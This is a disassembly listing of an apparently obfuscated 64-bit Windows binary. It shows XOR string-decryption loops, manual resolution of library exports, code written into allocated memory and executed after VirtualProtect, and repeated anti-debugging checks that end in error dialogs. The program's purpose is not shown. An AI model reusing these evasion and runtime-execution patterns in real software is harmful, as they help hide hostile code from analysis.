mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400205ea
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400da670]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400da530]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xa020
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r13
add r10, 0x22
movabs rax, 0xe9141a1b0
cmp r9, rax
jb 0x140020685
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008fd18
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400f2a70], r14
jne 0x140020759
mov ecx, 0x26b0
call fcn.1400945dc
test rax, rax
je 0x140020759
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400f2a70], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400da660]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14002a520
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x140020798
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400f2a70]
test rbx, rbx
je 0x1400208ad
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140020865
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400945dc
mov rsi, rax
test rax, rax
je 0x1400208aa
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f2a70]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b27d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
mov qword [0x1400f2a70], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14002a438
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x1400208c4
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400f2a70]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x1400209d5
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002098f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400945dc
mov rsi, rax
test rax, rax
je 0x1400209d2
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f2a70]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b27d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
mov qword [0x1400f2a70], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140020a62
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140020a62
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140020a62
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140020a62
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140020a62
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140020a55
inc rax
test edi, edi
jne 0x140020a40
test r8d, r8d
je 0x140020ad9
inc rdx
cmp rdx, rsi
jb 0x140020a2f
mov esi, r14d
mov rdi, qword [0x1400f2a70]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x140020cae
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140020c9b
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140020c9b
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140020c60
xor edx, edx
call fcn.1400b2e70
jmp 0x140020c99
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140020a62
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x140020afd
xor r14d, r14d
jmp 0x140020a62
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140088d50
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14002affc
lea rcx, [rbp + 0x87b0]
call fcn.14002a594
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.14002a594
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140020b74
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400b27d0
mov dword [0x1400ec724], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400ec720]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ec728]
mov word [rdi + 8], ax
mov al, byte [0x1400ec72a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1020]
lea r8d, [r14 + 3]
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ec724], r14d
jmp 0x140020a65
cmp al, 1
jne 0x140020c9b
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14002ad64
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14002af18
lea rcx, [rbp + 0x1168]
call fcn.14002aea8
lea rcx, [rbp + 0x1168]
call fcn.14000a6e8
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140020a8e
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
xor r15d, r15d
mov qword [0x1400f2a70], r15
test esi, esi
js 0x140028ff1
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140028ff1
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400945dc
test rax, rax
je 0x140020d11
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400f2a70], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400da660]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14002a520
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140020d54
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400f2a70]
test rbx, rbx
je 0x140020e7b
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140020e27
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400945dc
mov rsi, rax
test rax, rax
je 0x140020e6e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f2a70]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b27d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
mov qword [0x1400f2a70], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140020e71
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14002a438
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140020e92
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400f2a70]
test rbx, rbx
je 0x140020fa1
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140020f59
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400945dc
mov rsi, rax
test rax, rax
je 0x140020f9e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f2a70]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b27d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
mov qword [0x1400f2a70], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140020fa1
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140021032
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021032
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140021032
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140021032
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140021032
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140021021
inc rax
test edi, edi
jne 0x14002100c
test r8d, r8d
je 0x1400210b0
inc rdx
cmp rdx, rsi
jb 0x140020ffb
mov esi, r15d
mov rdi, qword [0x1400f2a70]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140021280
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14002126d
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002126d
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x140021233
xor edx, edx
mov rcx, rax
call fcn.1400b2e70
jmp 0x14002126d
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140021032
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140021032
cmp cl, 1
jne 0x14002126d
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.14002ad64
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14002af18
lea rcx, [rbp + 0x1148]
call fcn.14002aea8
lea rcx, [rbp + 0x1148]
call fcn.14000a6e8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140021062
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b2e70
mov rcx, rdi
call fcn.1400944b8
mov qword [0x1400f2a70], r13
test esi, esi
js 0x140028e6b
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x140028e6b
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140021330
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x1400213a9
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14002138b
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140021449
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x1400214b7
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xad
mov r10, r13
mov ebx, 0x36d78dac
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x3a450686c
movabs r9, 0x748a0d0d8
lea r14d, [rbx - 1]
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140028eb4
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400da5f0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x204ea559
mov dword [rbp + 0x96c], 0xf3fedfa3
mov dword [rbp + 0x970], 0xd662d6ea
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x5ff937ed0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0xbff26fda0
cmp r9, rax
jb 0x140028f5f
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xad
mov r10, r15
mov ebx, 0x36d78dac
movabs rsi, 0x8080808080808081
movabs r8, 0x3a450686c
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x748a0d0d8
lea r14d, [rbx - 1]
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002903a
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400da4e0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xac3730e6
mov word [rbp + 0x754], 0x58
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x47fae9f1c
movabs r10, 0x8ff5d3e38
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x1400290de
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008fd18
int3
cmp rax, rbx
jne 0x14002921c
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400291fc
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400291fc
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002921c
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xad
mov r10, r14
movabs r8, 0x3a450686c
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x748a0d0d8
mov r15d, 0x36d78dab
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002925f
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400da680]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x508f3a60
mov dword [rbp + 0x82c], 0xc2f1b1
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x4ed5dba74
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
add r10, 0x17
movabs rax, 0x9dabb74e8
cmp r9, rax
jb 0x140029301
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, rbx
jne 0x14002943f
mov rax, qword gs:[0x51]
mov ecx, 0xa77e4c99
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002941f
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002941f
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002943f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rbx
jne 0x140029aca
mov rax, qword gs:[0x51]
movabs rcx, 0x445e706a7db93494
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400294d7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400294d7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xad
mov r10, r15
movabs r8, 0x3a450686c
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x748a0d0d8
mov r14d, 0x36d78dab
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002953a
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400da470]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xa53334c3
mov word [rbp + 0x76c], Ordinal_79
mov r9, r15
movabs r8, 0x47fae9f1c
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x8ff5d3e38
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
